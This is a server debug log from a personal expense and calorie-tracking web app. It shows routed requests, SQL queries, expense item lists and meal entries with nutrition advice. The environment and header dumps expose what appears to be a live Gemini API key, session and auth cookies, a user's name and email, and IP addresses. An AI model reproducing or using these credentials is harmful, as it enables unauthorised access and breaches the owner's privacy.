    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '142.93.153.223',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T09:27:23.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.93.153.223',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '142.93.153.223',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T10:10:24.795Z server-connect:router Serving templateView /
2025-12-16T10:10:24.795Z server-connect:app Executing action step identify
2025-12-16T10:10:24.795Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:24.795Z server-connect:output identity: 1
2025-12-16T10:10:24.795Z server-connect:app Executing action step restrict
2025-12-16T10:10:24.795Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:10:24.797Z server-connect:output restrict: undefined
2025-12-16T10:10:24.797Z server-connect:app Executing action step restrict
2025-12-16T10:10:24.797Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:10:24.797Z server-connect:output restrict: undefined
2025-12-16T10:10:24.797Z server-connect:router Render template layouts/main
2025-12-16T10:10:24.798Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T10:10:25.693Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T10:10:25.694Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T10:10:25.694Z server-connect:app Executing action step identify
2025-12-16T10:10:25.694Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:25.694Z server-connect:output identity: 1
2025-12-16T10:10:25.694Z server-connect:app Executing action step restrict
2025-12-16T10:10:25.694Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:10:25.695Z server-connect:output restrict: undefined
2025-12-16T10:10:25.695Z server-connect:app Executing action step select
2025-12-16T10:10:25.695Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T10:10:25.695Z server-connect:app Executing action step identify
2025-12-16T10:10:25.695Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:25.695Z server-connect:output identity: 1
2025-12-16T10:10:25.696Z server-connect:app Executing action step restrict
2025-12-16T10:10:25.696Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:10:25.699Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T10:10:25.700Z server-connect:output restrict: undefined
2025-12-16T10:10:25.701Z server-connect:app Executing action step single
2025-12-16T10:10:25.701Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T10:10:25.702Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T10:10:30.147Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:10:30.147Z server-connect:app Executing action step identify
2025-12-16T10:10:30.147Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:30.147Z server-connect:output identity: 1
2025-12-16T10:10:30.147Z server-connect:app Executing action step restrict
2025-12-16T10:10:30.147Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:10:30.148Z server-connect:output restrict: undefined
2025-12-16T10:10:30.148Z server-connect:router Render template calorie-tracker
2025-12-16T10:10:30.148Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"33da-HTwyfl5mr/wLtJ23xjTsyZd0yS4"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"33da-HTwyfl5mr/wLtJ23xjTsyZd0yS4"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T10:10:30.386Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T10:10:30.386Z server-connect:app Executing action step identify
2025-12-16T10:10:30.386Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:30.386Z server-connect:output identity: 1
2025-12-16T10:10:30.387Z server-connect:app Executing action step restrict
2025-12-16T10:10:30.387Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:10:30.387Z server-connect:output restrict: undefined
2025-12-16T10:10:30.387Z server-connect:app Executing action step single
2025-12-16T10:10:30.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T10:10:30.389Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T10:10:30.389Z server-connect:app Executing action step select
2025-12-16T10:10:30.389Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T10:10:30.390Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
